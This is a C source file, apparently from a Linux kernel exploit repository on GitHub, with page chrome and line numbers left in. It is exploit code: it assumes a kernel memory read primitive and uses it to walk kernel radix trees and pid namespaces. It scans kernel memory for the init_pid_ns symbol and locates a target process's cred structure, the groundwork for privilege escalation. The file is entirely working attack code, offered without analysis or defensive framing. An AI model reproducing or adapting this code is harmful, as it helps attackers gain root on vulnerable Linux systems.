-
Notifications
You must be signed in to change notification settings - Fork 52
/
Copy pathkmem_search.c
276 lines (217 loc) · 6.32 KB
/
kmem_search.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <sys/user.h>
#include "kernel_defs.h"
#include "kmem_search.h"
#include "exploit_configs.h"
char* pKernelMemory = NULL;
uint32_t uiLen = 0;
// Userspace/exploit implementations of corresponding kernel functions
static inline unsigned long shift_maxindex(unsigned int shift)
{
return (RADIX_TREE_MAP_SIZE << shift) - 1;
}
static inline unsigned long node_maxindex(const struct radix_tree_node *node)
{
return shift_maxindex(node->shift);
}
static inline struct radix_tree_node *entry_to_node(void *ptr)
{
return (void *)((unsigned long)ptr & ~RADIX_TREE_INTERNAL_NODE);
}
static inline bool radix_tree_is_internal_node(void *ptr)
{
return ((unsigned long)ptr & RADIX_TREE_ENTRY_MASK) ==
RADIX_TREE_INTERNAL_NODE;
}
static unsigned int radix_tree_descend(exploit_context* pCtx, const struct radix_tree_node *parent,
struct radix_tree_node **nodep, unsigned long index)
{
unsigned int offset = 0;
void **entry = NULL;
struct radix_tree_node node_in = {0};
kernel_read(pCtx, (uint64_t)parent, (char*)&node_in, sizeof(node_in));
offset = (index >> node_in.shift) & RADIX_TREE_MAP_MASK;
entry = node_in.slots[offset];
*nodep = (void *)entry;
return offset;
}
static unsigned radix_tree_load_root(exploit_context* pCtx, const struct radix_tree_root *root,
struct radix_tree_node **nodep, unsigned long *maxindex)
{
struct radix_tree_node *node = root->xa_head;
struct radix_tree_node node_in = {0};
*nodep = node;
if (radix_tree_is_internal_node(node))
{
node = entry_to_node(node);
kernel_read(pCtx, (uint64_t)node, (char*)&node_in, sizeof(node_in));
*maxindex = node_maxindex(&node_in);
return node_in.shift + RADIX_TREE_MAP_SHIFT;
}
*maxindex = 0;
return 0;
}
void *__radix_tree_lookup(exploit_context* pCtx, const struct radix_tree_root *root,
unsigned long index, struct radix_tree_node **nodep,
void ***slotp)
{
struct radix_tree_node *node, *parent;
unsigned long maxindex;
void **slot;
struct radix_tree_node node_in = {0};
restart:
parent = NULL;
slot = (void **)&root->xa_head;
radix_tree_load_root(pCtx, root, &node, &maxindex);
if (index > maxindex)
return NULL;
while (radix_tree_is_internal_node(node)) {
unsigned offset;
parent = entry_to_node(node);
offset = radix_tree_descend(pCtx, parent, &node, index);
kernel_read(pCtx, (uint64_t)parent, (char*)&node_in, sizeof(node_in));
slot = node_in.slots + offset;
if (node == RADIX_TREE_RETRY)
goto restart;
if (node_in.shift == 0)
break;
}
if (nodep)
*nodep = parent;
if (slotp)
*slotp = slot;
return node;
}
void *radix_tree_lookup(exploit_context* pCtx, const struct radix_tree_root *root, unsigned long index)
{
return __radix_tree_lookup(pCtx, root, index, NULL, NULL);
}
void *idr_find(exploit_context* pCtx, const struct idr *idr, unsigned long id)
{
return radix_tree_lookup(pCtx, &idr->idr_rt, id - idr->idr_base);
}
struct pid *find_pid_ns(exploit_context* pCtx, int nr)
{
struct pid_namespace ns = {0};
kernel_read(pCtx, pCtx->init_pid_ns, (char*)&ns, sizeof(ns));
return idr_find(pCtx, &ns.idr, nr);
}
int find_pid_cred(exploit_context* pCtx, pid_t pid)
{
int ret = -1;
uint64_t pid_struct = 0;
uint64_t first = 0;
uint64_t task = 0;
pid_struct = (uint64_t)find_pid_ns(pCtx, pid);
if(!IS_KERNEL_POINTER(pid_struct))
{
goto done;
}
kernel_read(pCtx, pid_struct + PID_TASKS_OFFSET, (char*)&first, sizeof(uint64_t));
if(!IS_KERNEL_POINTER(first))
{
goto done;
}
task = first - TASK_LIST_OFFSET;
kernel_read(pCtx, task + TASK_CRED_OFFSET, (char*)&pCtx->cred, sizeof(uint64_t));
if(!IS_KERNEL_POINTER(pCtx->cred))
{
goto done;
}
ret = 0;
done:
return ret;
}
// Custom search functions
char* strnstr_c(char *str, const char *substr, size_t n)
{
char *p = str, *pEnd = str+n;
size_t substr_len = strlen(substr);
if(0 == substr_len)
{
return str;
}
pEnd -= (substr_len - 1);
for(;p < pEnd; ++p)
{
if(0 == strncmp(p, substr, substr_len))
{
return p;
}
}
return NULL;
}
int search_init_pid_ns_kstrtab(exploit_context* pCtx)
{
int ret = -1;
char init_pid_ns[] = "init_pid_ns";
if(NULL == pKernelMemory)
{
pKernelMemory = malloc(PAGE_SIZE);
uiLen = PAGE_SIZE;
}
for(uint32_t i = 0; i < KMEM_MAX_SEARCH; i+= PAGE_SIZE)
{
if(NULL == pKernelMemory)
{
printf("[-] failed to allocate memory!\n");
goto done;
}
if(0 != kernel_read(pCtx, pCtx->array_map_ops + i, pKernelMemory + i, PAGE_SIZE))
{
goto done;
}
if(0 < i)
{
char* substr = strnstr_c(pKernelMemory + i - sizeof(init_pid_ns), init_pid_ns, PAGE_SIZE + sizeof(init_pid_ns));
if(NULL != substr)
{
uint32_t offset = substr - pKernelMemory;
pCtx->init_pid_ns_kstrtab = pCtx->array_map_ops + offset;
ret = 0;
break;
}
}
pKernelMemory = realloc(pKernelMemory, i + 2*PAGE_SIZE);
uiLen = i + 2*PAGE_SIZE;
}
done:
if((0 != ret) && (NULL != pKernelMemory))
{
free(pKernelMemory);
pKernelMemory = NULL;
}
return ret;
}
int search_init_pid_ns_ksymtab(exploit_context* pCtx)
{
int ret = -1;
uint64_t pStartAddr = pCtx->array_map_ops;
if(NULL == pKernelMemory)
{
goto done;
}
for(uint32_t i = 0; i < uiLen; i++)
{
uint32_t offset = *(uint32_t*)(pKernelMemory + i);
if((pStartAddr + offset) == pCtx->init_pid_ns_kstrtab)
{
uint32_t value_offset = *(uint32_t*)(pKernelMemory + i - 0x4);
pCtx-> init_pid_ns = pStartAddr + value_offset - 0x4;
ret = 0;
break;
}
pStartAddr++;
}
done:
if(NULL != pKernelMemory)
{
free(pKernelMemory);
pKernelMemory = NULL;
}
return ret;
}